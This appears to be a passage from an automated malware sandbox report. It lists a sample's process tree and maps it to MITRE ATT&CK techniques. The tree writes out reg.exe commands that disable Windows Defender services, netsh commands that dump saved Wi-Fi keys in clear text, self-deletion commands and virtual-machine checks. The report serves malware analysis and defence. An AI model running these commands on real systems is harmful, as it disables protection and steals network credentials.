C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
4⤵
PID:512

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
4⤵
PID:4960

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
4⤵
PID:3396

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
4⤵
PID:2164

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
4⤵
PID:4392

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
4⤵
PID:4380

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
4⤵
- Modifies security service
PID:3140

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\REGISTRY.EXE"
3⤵
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
4⤵
PID:1880

C:\Users\Admin\AppData\Roaming\VIRUS .EXE
"C:\Users\Admin\AppData\Roaming\VIRUS .EXE"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:920

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
3⤵
- Suspicious use of WriteProcessMemory
PID:3080

C:\Windows\system32\chcp.com
chcp 65001
4⤵
PID:2904

C:\Windows\system32\netsh.exe
netsh wlan show profile
4⤵
PID:4424

C:\Windows\system32\findstr.exe
findstr All
4⤵
PID:1652

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C chcp 65001 && netsh wlan show profile name=65001 key=clear | findstr Key
3⤵
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\system32\chcp.com
chcp 65001
4⤵
PID:3516

C:\Windows\system32\netsh.exe
netsh wlan show profile name=65001 key=clear
4⤵
PID:2232

C:\Windows\system32\findstr.exe
findstr Key
4⤵
PID:1092

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del "C:\Users\Admin\AppData\Roaming\VIRUS .EXE"
3⤵
PID:2852

C:\Windows\system32\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
4⤵
- Runs ping.exe
PID:816

C:\Users\Admin\AppData\Roaming\WINDOWS DEFENDER.EXE
"C:\Users\Admin\AppData\Roaming\WINDOWS DEFENDER.EXE"
2⤵
- Looks for VirtualBox Guest Additions in registry
- Executes dropped EXE
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:3496

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 404 -p 3148 -ip 3148
1⤵
PID:480

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

System Information Discovery